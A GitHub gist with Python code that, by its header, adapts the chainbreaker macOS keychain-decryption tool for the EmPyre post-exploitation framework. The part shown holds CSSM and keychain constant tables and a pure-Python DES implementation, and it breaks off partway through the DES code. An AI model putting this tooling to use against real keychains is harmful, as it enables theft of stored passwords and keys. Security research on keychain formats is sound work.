Created
June 27, 2016 03:12
-
-
Save killswitch-GUI/7488932c8f25fca560ecf2e048ce121b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# built off https://github.com/n0fate/chainbreaker | |
# for EmPyre dynamic execution | |
# all credit goes too: n0fate | |
# http://web.mit.edu/darwin/src/modules/Security/cdsa/cdsa/cssmtype.h | |
KEY_TYPE = { | |
0x00+0x0F : 'CSSM_KEYCLASS_PUBLIC_KEY', | |
0x01+0x0F : 'CSSM_KEYCLASS_PRIVATE_KEY', | |
0x02+0x0F : 'CSSM_KEYCLASS_SESSION_KEY', | |
0x03+0x0F : 'CSSM_KEYCLASS_SECRET_PART', | |
0xFFFFFFFF : 'CSSM_KEYCLASS_OTHER' | |
} | |
CSSM_ALGORITHMS = { | |
0 : 'CSSM_ALGID_NONE', | |
1 : 'CSSM_ALGID_CUSTOM', | |
2 : 'CSSM_ALGID_DH', | |
3 : 'CSSM_ALGID_PH', | |
4 : 'CSSM_ALGID_KEA', | |
5 : 'CSSM_ALGID_MD2', | |
6 : 'CSSM_ALGID_MD4', | |
7 : 'CSSM_ALGID_MD5', | |
8 : 'CSSM_ALGID_SHA1', | |
9 : 'CSSM_ALGID_NHASH', | |
10 : 'CSSM_ALGID_HAVAL:', | |
11 : 'CSSM_ALGID_RIPEMD', | |
12 : 'CSSM_ALGID_IBCHASH', | |
13 : 'CSSM_ALGID_RIPEMAC', | |
14 : 'CSSM_ALGID_DES', | |
15 : 'CSSM_ALGID_DESX', | |
16 : 'CSSM_ALGID_RDES', | |
17 : 'CSSM_ALGID_3DES_3KEY_EDE', | |
18 : 'CSSM_ALGID_3DES_2KEY_EDE', | |
19 : 'CSSM_ALGID_3DES_1KEY_EEE', | |
20 : 'CSSM_ALGID_3DES_3KEY_EEE', | |
21 : 'CSSM_ALGID_3DES_2KEY_EEE', | |
22 : 'CSSM_ALGID_IDEA', | |
23 : 'CSSM_ALGID_RC2', | |
24 : 'CSSM_ALGID_RC5', | |
25 : 'CSSM_ALGID_RC4', | |
26 : 'CSSM_ALGID_SEAL', | |
27 : 'CSSM_ALGID_CAST', | |
28 : 'CSSM_ALGID_BLOWFISH', | |
29 : 'CSSM_ALGID_SKIPJACK', | |
30 : 'CSSM_ALGID_LUCIFER', | |
31 : 'CSSM_ALGID_MADRYGA', | |
32 : 'CSSM_ALGID_FEAL', | |
33 : 'CSSM_ALGID_REDOC', | |
34 : 'CSSM_ALGID_REDOC3', | |
35 : 'CSSM_ALGID_LOKI', | |
36 : 'CSSM_ALGID_KHUFU', | |
37 : 'CSSM_ALGID_KHAFRE', | |
38 : 'CSSM_ALGID_MMB', | |
39 : 'CSSM_ALGID_GOST', | |
40 : 'CSSM_ALGID_SAFER', | |
41 : 'CSSM_ALGID_CRAB', | |
42 : 'CSSM_ALGID_RSA', | |
43 : 'CSSM_ALGID_DSA', | |
44 : 'CSSM_ALGID_MD5WithRSA', | |
45 : 'CSSM_ALGID_MD2WithRSA', | |
46 : 'CSSM_ALGID_ElGamal', | |
47 : 'CSSM_ALGID_MD2Random', | |
48 : 'CSSM_ALGID_MD5Random', | |
49 : 'CSSM_ALGID_SHARandom', | |
50 : 'CSSM_ALGID_DESRandom', | |
51 : 'CSSM_ALGID_SHA1WithRSA', | |
52 : 'CSSM_ALGID_CDMF', | |
53 : 'CSSM_ALGID_CAST3', | |
54 : 'CSSM_ALGID_CAST5', | |
55 : 'CSSM_ALGID_GenericSecret', | |
56 : 'CSSM_ALGID_ConcatBaseAndKey', | |
57 : 'CSSM_ALGID_ConcatKeyAndBase', | |
58 : 'CSSM_ALGID_ConcatBaseAndData', | |
59 : 'CSSM_ALGID_ConcatDataAndBase', | |
60 : 'CSSM_ALGID_XORBaseAndData', | |
61 : 'CSSM_ALGID_ExtractFromKey', | |
62 : 'CSSM_ALGID_SSL3PreMasterGen', | |
63 : 'CSSM_ALGID_SSL3MasterDerive', | |
64 : 'CSSM_ALGID_SSL3KeyAndMacDerive', | |
65 : 'CSSM_ALGID_SSL3MD5_MAC', | |
66 : 'CSSM_ALGID_SSL3SHA1_MAC', | |
67 : 'CSSM_ALGID_PKCS5_PBKDF1_MD5', | |
68 : 'CSSM_ALGID_PKCS5_PBKDF1_MD2', | |
69 : 'CSSM_ALGID_PKCS5_PBKDF1_SHA1', | |
70 : 'CSSM_ALGID_WrapLynks', | |
71 : 'CSSM_ALGID_WrapSET_OAEP', | |
72 : 'CSSM_ALGID_BATON', | |
73 : 'CSSM_ALGID_ECDSA', | |
74 : 'CSSM_ALGID_MAYFLY', | |
75 : 'CSSM_ALGID_JUNIPER', | |
76 : 'CSSM_ALGID_FASTHASH', | |
77 : 'CSSM_ALGID_3DES', | |
78 : 'CSSM_ALGID_SSL3MD5', | |
79 : 'CSSM_ALGID_SSL3SHA1', | |
80 : 'CSSM_ALGID_FortezzaTimestamp', | |
81 : 'CSSM_ALGID_SHA1WithDSA', | |
82 : 'CSSM_ALGID_SHA1WithECDSA', | |
83 : 'CSSM_ALGID_DSA_BSAFE', | |
84 : 'CSSM_ALGID_ECDH', | |
85 : 'CSSM_ALGID_ECMQV', | |
86 : 'CSSM_ALGID_PKCS12_SHA1_PBE', | |
87 : 'CSSM_ALGID_ECNRA', | |
88 : 'CSSM_ALGID_SHA1WithECNRA', | |
89 : 'CSSM_ALGID_ECES', | |
90 : 'CSSM_ALGID_ECAES', | |
91 : 'CSSM_ALGID_SHA1HMAC', | |
92 : 'CSSM_ALGID_FIPS186Random', | |
93 : 'CSSM_ALGID_ECC', | |
94 : 'CSSM_ALGID_MQV', | |
95 : 'CSSM_ALGID_NRA', | |
96 : 'CSSM_ALGID_IntelPlatformRandom', | |
97 : 'CSSM_ALGID_UTC', | |
98 : 'CSSM_ALGID_HAVAL3', | |
99 : 'CSSM_ALGID_HAVAL4', | |
100 : 'CSSM_ALGID_HAVAL5', | |
101 : 'CSSM_ALGID_TIGER', | |
102 : 'CSSM_ALGID_MD5HMAC', | |
103 : 'CSSM_ALGID_PKCS5_PBKDF2', | |
104 : 'CSSM_ALGID_RUNNING_COUNTER', | |
0x7FFFFFFF : 'CSSM_ALGID_LAST' | |
} | |
#CSSM TYPE | |
## http://www.opensource.apple.com/source/libsecurity_cssm/libsecurity_cssm-36064/lib/cssmtype.h | |
########## CSSM_DB_RECORDTYPE ############# | |
#/* Industry At Large Application Name Space Range Definition */ | |
#/* AppleFileDL record types. */ | |
CSSM_DB_RECORDTYPE_APP_DEFINED_START = 0x80000000 | |
CSSM_DL_DB_RECORD_GENERIC_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0 | |
CSSM_DL_DB_RECORD_INTERNET_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 1 | |
CSSM_DL_DB_RECORD_APPLESHARE_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 2 | |
CSSM_DL_DB_RECORD_USER_TRUST = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 3 | |
CSSM_DL_DB_RECORD_X509_CRL = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 4 | |
CSSM_DL_DB_RECORD_UNLOCK_REFERRAL = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 5 | |
CSSM_DL_DB_RECORD_EXTENDED_ATTRIBUTE = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 6 | |
CSSM_DL_DB_RECORD_X509_CERTIFICATE = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0x1000 | |
CSSM_DL_DB_RECORD_METADATA = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0x8000 ## DBBlob | |
CSSM_DB_RECORDTYPE_APP_DEFINED_END = 0xffffffff | |
#/* Record Types defined in the Schema Management Name Space */ | |
CSSM_DB_RECORDTYPE_SCHEMA_START = 0x00000000 | |
CSSM_DL_DB_SCHEMA_INFO = CSSM_DB_RECORDTYPE_SCHEMA_START + 0 | |
CSSM_DL_DB_SCHEMA_INDEXES = CSSM_DB_RECORDTYPE_SCHEMA_START + 1 | |
CSSM_DL_DB_SCHEMA_ATTRIBUTES = CSSM_DB_RECORDTYPE_SCHEMA_START + 2 | |
CSSM_DL_DB_SCHEMA_PARSING_MODULE = CSSM_DB_RECORDTYPE_SCHEMA_START + 3 | |
CSSM_DB_RECORDTYPE_SCHEMA_END = CSSM_DB_RECORDTYPE_SCHEMA_START + 4 | |
#/* Record Types defined in the Open Group Application Name Space */ | |
#/* Open Group Application Name Space Range Definition*/ | |
CSSM_DB_RECORDTYPE_OPEN_GROUP_START = 0x0000000A | |
CSSM_DL_DB_RECORD_ANY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 0 | |
CSSM_DL_DB_RECORD_CERT = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 1 | |
CSSM_DL_DB_RECORD_CRL = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 2 | |
CSSM_DL_DB_RECORD_POLICY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 3 | |
CSSM_DL_DB_RECORD_GENERIC = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 4 | |
CSSM_DL_DB_RECORD_PUBLIC_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 5 | |
CSSM_DL_DB_RECORD_PRIVATE_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 6 | |
CSSM_DL_DB_RECORD_SYMMETRIC_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 7 | |
CSSM_DL_DB_RECORD_ALL_KEYS = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 8 | |
CSSM_DB_RECORDTYPE_OPEN_GROUP_END = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 8 | |
##################### | |
######## KEYUSE ######### | |
CSSM_KEYUSE_ANY = 0x80000000 | |
CSSM_KEYUSE_ENCRYPT = 0x00000001 | |
CSSM_KEYUSE_DECRYPT = 0x00000002 | |
CSSM_KEYUSE_SIGN = 0x00000004 | |
CSSM_KEYUSE_VERIFY = 0x00000008 | |
CSSM_KEYUSE_SIGN_RECOVER = 0x00000010 | |
CSSM_KEYUSE_VERIFY_RECOVER = 0x00000020 | |
CSSM_KEYUSE_WRAP = 0x00000040 | |
CSSM_KEYUSE_UNWRAP = 0x00000080 | |
CSSM_KEYUSE_DERIVE = 0x00000100 | |
#################### | |
############ CERT TYPE ############## | |
CERT_TYPE = { | |
0x00 : 'CSSM_CERT_UNKNOWN', | |
0x01 : 'CSSM_CERT_X_509v1', | |
0x02 : 'CSSM_CERT_X_509v2', | |
0x03 : 'CSSM_CERT_X_509v3', | |
0x04 : 'CSSM_CERT_PGP', | |
0x05 : 'CSSM_CERT_SPKI', | |
0x06 : 'CSSM_CERT_SDSIv1', | |
0x08 : 'CSSM_CERT_Intel', | |
0x09 : 'CSSM_CERT_X_509_ATTRIBUTE', | |
0x0A : 'CSSM_CERT_X9_ATTRIBUTE', | |
0x0C : 'CSSM_CERT_ACL_ENTRY', | |
0x7FFE: 'CSSM_CERT_MULTIPLE', | |
0x7FFF : 'CSSM_CERT_LAST', | |
0x8000 : 'CSSM_CL_CUSTOM_CERT_TYPE' | |
} | |
#################################### | |
########### CERT ENCODING ############# | |
CERT_ENCODING = { | |
0x00 : 'CSSM_CERT_ENCODING_UNKNOWN', | |
0x01 : 'CSSM_CERT_ENCODING_CUSTOM', | |
0x02 : 'CSSM_CERT_ENCODING_BER', | |
0x03 : 'CSSM_CERT_ENCODING_DER', | |
0x04 : 'CSSM_CERT_ENCODING_NDR', | |
0x05 : 'CSSM_CERT_ENCODING_SEXPR', | |
0x06 : 'CSSM_CERT_ENCODING_PGP', | |
0x7FFE: 'CSSM_CERT_ENCODING_MULTIPLE', | |
0x7FFF : 'CSSM_CERT_ENCODING_LAST' | |
} | |
STD_APPLE_ADDIN_MODULE = { | |
'{87191ca0-0fc9-11d4-849a-000502b52122}': 'CSSM itself', | |
'{87191ca1-0fc9-11d4-849a-000502b52122}': 'File based DL (aka "Keychain DL")', | |
'{87191ca2-0fc9-11d4-849a-000502b52122}': 'Core CSP (local space)', | |
'{87191ca3-0fc9-11d4-849a-000502b52122}': 'Secure CSP/DL (aka "Keychain CSPDL")', | |
'{87191ca4-0fc9-11d4-849a-000502b52122}': 'X509 Certificate CL', | |
'{87191ca5-0fc9-11d4-849a-000502b52122}': 'X509 Certificate TP', | |
'{87191ca6-0fc9-11d4-849a-000502b52122}': 'DLAP/OpenDirectory access DL', | |
'{87191ca7-0fc9-11d4-849a-000502b52122}': 'TP for ".mac" related policies', | |
'{87191ca8-0fc9-11d4-849a-000502b52122}': 'Smartcard CSP/DL', | |
'{87191ca9-0fc9-11d4-849a-000502b52122}': 'DL for ".mac" certificate access' | |
} | |
SECURE_STORAGE_GROUP = 'ssgp' | |
AUTH_TYPE = { | |
'ntlm': 'kSecAuthenticationTypeNTLM', | |
'msna': 'kSecAuthenticationTypeMSN', | |
'dpaa': 'kSecAuthenticationTypeDPA', | |
'rpaa': 'kSecAuthenticationTypeRPA', | |
'http': 'kSecAuthenticationTypeHTTPBasic', | |
'httd': 'kSecAuthenticationTypeHTTPDigest', | |
'form': 'kSecAuthenticationTypeHTMLForm', | |
'dflt': 'kSecAuthenticationTypeDefault', | |
'': 'kSecAuthenticationTypeAny', | |
'\x00\x00\x00\x00': 'kSecAuthenticationTypeAny' | |
} | |
PROTOCOL_TYPE = { | |
'ftp ': 'kSecProtocolTypeFTP', | |
'ftpa': 'kSecProtocolTypeFTPAccount', | |
'http': 'kSecProtocolTypeHTTP', | |
'irc ': 'kSecProtocolTypeIRC', | |
'nntp': 'kSecProtocolTypeNNTP', | |
'pop3': 'kSecProtocolTypePOP3', | |
'smtp': 'kSecProtocolTypeSMTP', | |
'sox ': 'kSecProtocolTypeSOCKS', | |
'imap': 'kSecProtocolTypeIMAP', | |
'ldap': 'kSecProtocolTypeLDAP', | |
'atlk': 'kSecProtocolTypeAppleTalk', | |
'afp ': 'kSecProtocolTypeAFP', | |
'teln': 'kSecProtocolTypeTelnet', | |
'ssh ': 'kSecProtocolTypeSSH', | |
'ftps': 'kSecProtocolTypeFTPS', | |
'htps': 'kSecProtocolTypeHTTPS', | |
'htpx': 'kSecProtocolTypeHTTPProxy', | |
'htsx': 'kSecProtocolTypeHTTPSProxy', | |
'ftpx': 'kSecProtocolTypeFTPProxy', | |
'cifs': 'kSecProtocolTypeCIFS', | |
'smb ': 'kSecProtocolTypeSMB', | |
'rtsp': 'kSecProtocolTypeRTSP', | |
'rtsx': 'kSecProtocolTypeRTSPProxy', | |
'daap': 'kSecProtocolTypeDAAP', | |
'eppc': 'kSecProtocolTypeEPPC', | |
'ipp ': 'kSecProtocolTypeIPP', | |
'ntps': 'kSecProtocolTypeNNTPS', | |
'ldps': 'kSecProtocolTypeLDAPS', | |
'tels': 'kSecProtocolTypeTelnetS', | |
'imps': 'kSecProtocolTypeIMAPS', | |
'ircs': 'kSecProtocolTypeIRCS', | |
'pops': 'kSecProtocolTypePOP3S', | |
'cvsp': 'kSecProtocolTypeCVSpserver', | |
'svn ': 'kSecProtocolTypeCVSpserver', | |
'AdIM': 'kSecProtocolTypeAdiumMessenger', | |
'\x00\x00\x00\x00': 'kSecProtocolTypeAny' | |
} | |
# This is somewhat gross: we define a bunch of module-level constants based on | |
# the SecKeychainItem.h defines (FourCharCodes) by passing them through | |
# struct.unpack and converting them to ctypes.c_long() since we'll never use | |
# them for non-native APIs | |
CARBON_DEFINES = { | |
'cdat': 'kSecCreationDateItemAttr', | |
'mdat': 'kSecModDateItemAttr', | |
'desc': 'kSecDescriptionItemAttr', | |
'icmt': 'kSecCommentItemAttr', | |
'crtr': 'kSecCreatorItemAttr', | |
'type': 'kSecTypeItemAttr', | |
'scrp': 'kSecScriptCodeItemAttr', | |
'labl': 'kSecLabelItemAttr', | |
'invi': 'kSecInvisibleItemAttr', | |
'nega': 'kSecNegativeItemAttr', | |
'cusi': 'kSecCustomIconItemAttr', | |
'acct': 'kSecAccountItemAttr', | |
'svce': 'kSecServiceItemAttr', | |
'gena': 'kSecGenericItemAttr', | |
'sdmn': 'kSecSecurityDomainItemAttr', | |
'srvr': 'kSecServerItemAttr', | |
'atyp': 'kSecAuthenticationTypeItemAttr', | |
'port': 'kSecPortItemAttr', | |
'path': 'kSecPathItemAttr', | |
'vlme': 'kSecVolumeItemAttr', | |
'addr': 'kSecAddressItemAttr', | |
'ssig': 'kSecSignatureItemAttr', | |
'ptcl': 'kSecProtocolItemAttr', | |
'ctyp': 'kSecCertificateType', | |
'cenc': 'kSecCertificateEncoding', | |
'crtp': 'kSecCrlType', | |
'crnc': 'kSecCrlEncoding', | |
'alis': 'kSecAlias', | |
'inet': 'kSecInternetPasswordItemClass', | |
'genp': 'kSecGenericPasswordItemClass', | |
'ashp': 'kSecAppleSharePasswordItemClass', | |
CSSM_DL_DB_RECORD_X509_CERTIFICATE: 'kSecCertificateItemClass' | |
} | |
# ############################################################################ | |
# Documentation # | |
############################################################################# | |
# Author: Todd Whiteman | |
# Date: 7th May, 2003 | |
# Verion: 1.1 | |
# Homepage: http://home.pacific.net.au/~twhitema/des.html | |
# | |
# Modifications to 3des CBC code by Matt Johnston 2004 <matt at ucc asn au> | |
# | |
# This algorithm is a pure python implementation of the DES algorithm. | |
# It is in pure python to avoid portability issues, since most DES | |
# implementations are programmed in C (for performance reasons). | |
# | |
# Triple DES class is also implemented, utilising the DES base. Triple DES | |
# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key. | |
# | |
# See the README.txt that should come with this python module for the | |
# implementation methods used. | |
'''A pure python implementation of the DES and TRIPLE DES encryption algorithms | |
pyDes.des(key, [mode], [IV]) | |
pyDes.triple_des(key, [mode], [IV]) | |
key -> String containing the encryption key. 8 bytes for DES, 16 or 24 bytes | |
for Triple DES | |
mode -> Optional argument for encryption type, can be either | |
pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining) | |
IV -> Optional argument, must be supplied if using CBC mode. Must be 8 bytes | |
Example: | |
from pyDes import * | |
data = "Please encrypt my string" | |
k = des("DESCRYPT", " ", CBC, "\0\0\0\0\0\0\0\0") | |
d = k.encrypt(data) | |
print "Encypted string: " + d | |
print "Decypted string: " + k.decrypt(d) | |
See the module source (pyDes.py) for more examples of use. | |
You can slo run the pyDes.py file without and arguments to see a simple test. | |
Note: This code was not written for high-end systems needing a fast | |
implementation, but rather a handy portable solution with small usage. | |
''' | |
# Modes of crypting / cyphering | |
ECB = 0 | |
CBC = 1 | |
############################################################################# | |
# DES # | |
############################################################################# | |
class des: | |
'''DES encryption/decrytpion class | |
Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. | |
pyDes.des(key,[mode], [IV]) | |
key -> The encryption key string, must be exactly 8 bytes | |
mode -> Optional argument for encryption type, can be either pyDes.ECB | |
(Electronic Code Book), pyDes.CBC (Cypher Block Chaining) | |
IV -> Optional string argument, must be supplied if using CBC mode. | |
Must be 8 bytes in length. | |
''' | |
# Permutation and translation tables for DES | |
__pc1 = [56, 48, 40, 32, 24, 16, 8, | |
0, 57, 49, 41, 33, 25, 17, | |
9, 1, 58, 50, 42, 34, 26, | |
18, 10, 2, 59, 51, 43, 35, | |
62, 54, 46, 38, 30, 22, 14, | |
6, 61, 53, 45, 37, 29, 21, | |
13, 5, 60, 52, 44, 36, 28, | |
20, 12, 4, 27, 19, 11, 3 | |
] | |
# number left rotations of pc1 | |
__left_rotations = [ | |
1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 | |
] | |
# permuted choice key (table 2) | |
__pc2 = [ | |
13, 16, 10, 23, 0, 4, | |
2, 27, 14, 5, 20, 9, | |
22, 18, 11, 3, 25, 7, | |
15, 6, 26, 19, 12, 1, | |
40, 51, 30, 36, 46, 54, | |
29, 39, 50, 44, 32, 47, | |
43, 48, 38, 55, 33, 52, | |
45, 41, 49, 35, 28, 31 | |
] | |
# initial permutation IP | |
__ip = [57, 49, 41, 33, 25, 17, 9, 1, | |
59, 51, 43, 35, 27, 19, 11, 3, | |
61, 53, 45, 37, 29, 21, 13, 5, | |
63, 55, 47, 39, 31, 23, 15, 7, | |
56, 48, 40, 32, 24, 16, 8, 0, | |
58, 50, 42, 34, 26, 18, 10, 2, | |
60, 52, 44, 36, 28, 20, 12, 4, | |
62, 54, 46, 38, 30, 22, 14, 6 | |
] | |
# Expansion table for turning 32 bit blocks into 48 bits | |
__expansion_table = [ | |
31, 0, 1, 2, 3, 4, | |
3, 4, 5, 6, 7, 8, | |
7, 8, 9, 10, 11, 12, | |
11, 12, 13, 14, 15, 16, | |
15, 16, 17, 18, 19, 20, | |
19, 20, 21, 22, 23, 24, | |
23, 24, 25, 26, 27, 28, | |
27, 28, 29, 30, 31, 0 | |
] | |
# The (in)famous S-boxes | |
__sbox = [ # S1 | |
[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, | |
0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, | |
4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, | |
15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], # S2 | |
[15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, | |
3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, | |
0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, | |
13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], # S3 | |
[10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, | |
13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, | |
13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, | |
1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], # S4 | |
[7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, | |
13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, | |
10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, | |
3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], # S5 | |
[2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, | |
14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, | |
4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, | |
11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], # S6 | |
[12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, | |
10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, | |
9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, | |
4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], # S7 | |
[4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, | |
13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, | |
1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, | |
6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], # S8 | |
[13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, | |
1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, | |
7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, | |
2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], | |
] | |
# 32-bit permutation function P used on the output of the S-boxes | |
__p = [ | |
15, 6, 19, 20, 28, 11, | |
27, 16, 0, 14, 22, 25, | |
4, 17, 30, 9, 1, 7, | |
23, 13, 31, 26, 2, 8, | |
18, 12, 29, 5, 21, 10, | |
3, 24 | |
] | |
# final permutation IP^-1 | |
__fp = [ | |
39, 7, 47, 15, 55, 23, 63, 31, | |
38, 6, 46, 14, 54, 22, 62, 30, | |
37, 5, 45, 13, 53, 21, 61, 29, | |
36, 4, 44, 12, 52, 20, 60, 28, | |
35, 3, 43, 11, 51, 19, 59, 27, | |
34, 2, 42, 10, 50, 18, 58, 26, | |
33, 1, 41, 9, 49, 17, 57, 25, | |
32, 0, 40, 8, 48, 16, 56, 24 | |
] | |
# Type of crypting being done | |
ENCRYPT = 0x00 | |
DECRYPT = 0x01 | |
# Initialisation | |
def __init__(self, key, mode=ECB, IV=None): | |
if len(key) != 8: | |
raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") | |
self.block_size = 8 | |
self.key_size = 8 | |
self.__padding = '' | |
# Set the passed in variables | |
self.setMode(mode) | |
if IV: | |
self.setIV(IV) | |
self.L = [] | |
self.R = [] | |
self.Kn = [[0] * 48] * 16 # 16 48-bit keys (K1 - K16) | |
self.final = [] | |
self.setKey(key) | |
def getKey(self): | |
'''getKey() -> string''' | |
return self.__key | |
def setKey(self, key): | |
'''Will set the crypting key for this object. Must be 8 bytes''' | |
self.__key = key | |
self.__create_sub_keys() | |
def getMode(self): | |
'''getMode() -> pyDes.ECB or pyDes.CBC''' | |
return self.__mode | |
def setMode(self, mode): | |
'''Sets the type of crypting mode, pyDes.ECB or pyDes.CBC''' | |
self.__mode = mode | |
def getIV(self): | |
'''getIV() -> string''' | |
return self.__iv | |
def setIV(self, IV): | |
'''Will set the Initial Value, used in conjunction with CBC mode''' | |
if not IV or len(IV) != self.block_size: | |
raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") | |
self.__iv = IV | |
def getPadding(self): | |
'''getPadding() -> string of length 1. Padding character''' | |
return self.__padding | |
def __String_to_BitList(self, data): | |
'''Turn the string data, into a list of bits (1, 0)'s''' | |
l = len(data) * 8 | |
result = [0] * l | |
pos = 0 | |
for c in data: | |
i = 7 | |
ch = ord(c) | |
while i >= 0: | |
if ch & (1 << i) != 0: | |
result[pos] = 1 | |
else: | |
result[pos] = 0 | |
pos += 1 | |
i -= 1 | |
return result | |
def __BitList_to_String(self, data): | |
'''Turn the list of bits -> data, into a string''' | |
result = '' | |
pos = 0 | |
c = 0 | |
while pos < len(data): | |
c += data[pos] << (7 - (pos % 8)) | |
if (pos % 8) == 7: | |
result += chr(c) | |
c = 0 | |
pos += 1 | |
return result | |
def __permutate(self, table, block): | |
'''Permutate this block with the specified table''' | |
return map(lambda x: block[x], table) | |
# Transform the secret key, so that it is ready for data processing | |
# Create the 16 subkeys, K[1] - K[16] | |
def __create_sub_keys(self): | |
'''Create the 16 subkeys K[1] to K[16] from the given key''' | |
key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey())) | |
i = 0 | |
# Split into Left and Right sections | |
self.L = key[:28] | |
self.R = key[28:] | |
while i < 16: | |
j = 0 | |
# Perform circular left shifts | |
while j < des.__left_rotations[i]: | |
self.L.append(self.L[0]) | |
del self.L[0] | |
self.R.append(self.R[0]) | |
del self.R[0] | |
j += 1 | |
# Create one of the 16 subkeys through pc2 permutation | |
self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R) | |
i += 1 | |
# Main part of the encryption algorithm, the number cruncher :) | |
def __des_crypt(self, block, crypt_type): | |
'''Crypt the block of data through DES bit-manipulation''' | |
block = self.__permutate(des.__ip, block) | |
self.L = block[:32] | |
self.R = block[32:] | |
# Encryption starts from Kn[1] through to Kn[16] | |
if crypt_type == des.ENCRYPT: | |
iteration = 0 | |
iteration_adjustment = 1 | |
# Decryption starts from Kn[16] down to Kn[1] | |
else: | |
iteration = 15 | |
iteration_adjustment = -1 | |
i = 0 | |
while i < 16: | |
# Make a copy of R[i-1], this will later become L[i] | |
tempR = self.R[:] | |
# Permutate R[i - 1] to start creating R[i] | |
self.R = self.__permutate(des.__expansion_table, self.R) | |
# Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here | |
self.R = map(lambda x, y: x ^ y, self.R, self.Kn[iteration]) | |
B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], | |
self.R[42:]] | |
# Optimization: Replaced below commented code with above | |
#j = 0 | |
#B = [] | |
#while j < len(self.R): | |
# self.R[j] = self.R[j] ^ self.Kn[iteration][j] | |
# j += 1 | |
# if j % 6 == 0: | |
# B.append(self.R[j-6:j]) | |
# Permutate B[1] to B[8] using the S-Boxes | |
j = 0 | |
Bn = [0] * 32 | |
pos = 0 | |
while j < 8: | |
# Work out the offsets | |
m = (B[j][0] << 1) + B[j][5] | |
n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] | |
# Find the permutation value | |
v = des.__sbox[j][(m << 4) + n] | |
# Turn value into bits, add it to result: Bn | |
Bn[pos] = (v & 8) >> 3 | |
Bn[pos + 1] = (v & 4) >> 2 | |
Bn[pos + 2] = (v & 2) >> 1 | |
Bn[pos + 3] = v & 1 | |
pos += 4 | |
j += 1 | |
# Permutate the concatination of B[1] to B[8] (Bn) | |
self.R = self.__permutate(des.__p, Bn) | |
